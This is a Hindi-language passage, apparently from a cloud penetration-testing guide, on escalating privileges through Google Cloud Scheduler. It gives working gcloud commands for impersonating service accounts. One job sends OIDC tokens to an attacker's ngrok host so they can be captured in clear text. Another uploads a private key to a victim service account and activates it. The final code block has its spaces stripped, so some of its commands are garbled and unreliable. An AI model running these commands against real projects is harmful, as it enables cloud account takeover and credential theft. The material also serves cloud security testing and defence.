इन अनुमतियों के साथ एक हमलावर Cloud Scheduler का उपयोग करके एक विशिष्ट सेवा खाते के रूप में क्रोन कार्यों को प्रमाणित कर सकता है। एक HTTP POST अनुरोध तैयार करके, हमलावर क्रियाएँ निर्धारित करता है, जैसे कि एक स्टोरेज बकेट बनाना, जो सेवा खाते की पहचान के तहत निष्पादित होती हैं। यह विधि Scheduler की *.googleapis.com अंत बिंदुओं को लक्षित करने और अनुरोधों को प्रमाणित करने की क्षमता का लाभ उठाती है, जिससे हमलावर को सीधे एक सरल gcloud कमांड का उपयोग करके Google API अंत बिंदुओं में हेरफेर करने की अनुमति मिलती है।
OAuth टोकन हेडर के साथ googleapis.com के माध्यम से किसी भी गूगल API से संपर्क करें
Create a new Storage bucket:
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
अधिकार बढ़ाने के लिए, एक हमलावर बस एक HTTP अनुरोध तैयार करता है जो इच्छित API को लक्षित करता है, निर्दिष्ट सेवा खाते का अनुकरण करता है
OIDC सेवा खाता टोकन निकालें
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
यदि आपको HTTP प्रतिक्रिया की जांच करने की आवश्यकता है, तो आप बस कार्यवाही के लॉग पर एक नज़र डाल सकते हैं।
पिछले परिदृश्य की तरह, यह संभव है कि पहले से बनाए गए शेड्यूलर को अपडेट करें ताकि टोकन चुराया जा सके या क्रियाएँ की जा सकें। उदाहरण के लिए:
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
एक और उदाहरण एक निजी कुंजी को एक SA पर अपलोड करने और इसे अनुकरण करने का है:
# Generate local private keyopensslreq-x509-nodes-newkeyrsa:2048-days365 \-keyout /tmp/private_key.pem \-out /tmp/public_key.pem \-subj "/CN=unused"# Remove last new line character of the public keyfile_size=$(wc-c</tmp/public_key.pem)new_size=$((file_size-1))truncate-s $new_size /tmp/public_key.pem# Update scheduler to upload the key to a SAgcloudschedulerjobsupdatehttpscheduler_lab_1 \--schedule='* * * * *' \--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat/tmp/public_key.pem|base64)\"}" \--update-headers "Content-Type=application/json" \--location us-central1 \--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com# Check the logs to check it worked# Build the json to contact the SA## Get privatekey in json formatfile_content=$(<"/tmp/private_key.pem")private_key_json=$(jq-Rn--argstr"$file_content"'$str')## Get ID of the generated keygcloudiamservice-accountskeyslist--iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com# Create the json in a file{"type":"service_account","project_id":"$PROJECT_ID","private_key_id":"<key id from key list>","private_key":"$private_key_json","client_email":"victim@$PROJECT_ID.iam.gserviceaccount.com","client_id": "$(gcloud iam service-accounts describe victim@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri":"https://accounts.google.com/o/oauth2/auth","token_uri":"https://oauth2.googleapis.com/token","auth_provider_x509_cert_url":"https://www.googleapis.com/oauth2/v1/certs","client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/victim%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain":"googleapis.com"}# Activate the generated keygcloudauthactivate-service-account--key-file=/tmp/fake_key.json